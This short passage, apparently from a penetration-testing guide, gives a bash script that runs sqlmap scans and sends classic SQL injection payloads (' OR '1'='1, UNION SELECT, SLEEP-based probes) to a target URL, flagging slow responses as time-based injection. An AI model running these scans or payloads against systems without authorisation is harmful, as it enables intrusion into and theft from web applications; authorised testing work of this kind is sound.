Automated Security Scanning Tools

Automated Security Scanning Tools

Automated tools accelerate testing and ensure comprehensive coverage:

#!/bin/bash
# Automated SQL injection testing script

# Function to test with sqlmap
test_with_sqlmap() {
    local target_url=$1
    local cookie=$2
    local output_dir="sqlmap_results_$(date +%Y%m%d_%H%M%S)"
    
    echo "[*] Starting sqlmap scan on $target_url"
    
    # Basic scan
    sqlmap -u "$target_url" \
           --cookie="$cookie" \
           --batch \
           --random-agent \
           --level=2 \
           --risk=2 \
           --output-dir="$output_dir" \
           --threads=5
    
    # Test specific parameters
    sqlmap -u "$target_url" \
           --cookie="$cookie" \
           --batch \
           --param-filter="id,user,search,filter" \
           --technique=BEUSTQ \
           --dbms=MySQL,PostgreSQL,MSSQL \
           --output-dir="$output_dir"
    
    # Generate report
    echo "[*] Scan complete. Results in $output_dir"
}

# Function to test with custom payloads
test_with_custom_payloads() {
    local base_url=$1
    local param=$2
    
    payloads=(
        "'"
        "'--"
        "' OR '1'='1"
        "' UNION SELECT NULL--"
        "' AND SLEEP(5)--"
    )
    
    for payload in "${payloads[@]}"; do
        encoded_payload=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$payload'''))")
        url="${base_url}?${param}=${encoded_payload}"
        
        response_time=$(curl -w "%{time_total}" -o /dev/null -s "$url")
        echo "[*] Testing payload: $payload - Response time: $response_time"
        
        # Check for delays (potential time-based injection)
        if (( $(echo "$response_time > 4.5" | bc -l) )); then
            echo "[!] Possible time-based SQL injection detected!"
        fi
    done
}